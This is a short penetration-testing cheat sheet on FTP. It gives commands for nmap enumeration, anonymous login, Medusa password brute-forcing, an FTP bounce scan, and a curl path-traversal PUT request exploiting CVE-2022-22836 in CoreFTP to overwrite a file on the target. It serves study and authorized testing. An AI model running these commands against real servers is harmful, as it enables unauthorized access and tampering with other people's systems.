# FTP

## Enumeration

```shell-session
sudo nmap -sC -sV -p 21 IP
```

## Anonymous Access

```shell-session
ftp IP
```

## Brute forcing  w Medusa

```
medusa -u username -P /pass.txt -h IP -M ftp
```

## Bounce Attack

It can use FTP servers to deliver outbound traffic to another device on the network. We can use the `PORT` to trick the connection into running commands.&#x20;

This could be used to target a server on the same network as the FTP server but isn't exposed to the internet. We can use the connection to scan the unexposed server and find out if there are any ports open.

```shell-session
nmap -Pn -v -n -p80 -b anonymous:password@serverIP AttackIP
```

## Latest Vulnerabilities

{% embed url="<https://nvd.nist.gov/vuln/detail/CVE-2022-22836>" %}

The FTP service uses a POST request to upload files.&#x20;

The CoreFTP service allows PUT requests too which will let us write content to files.

We create a PUT request (`X -PUT`) with basic auth and the path for the file and the content we want to write

```shell-session
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
```

We now should be able to check the target system and the file should have been overwritten.
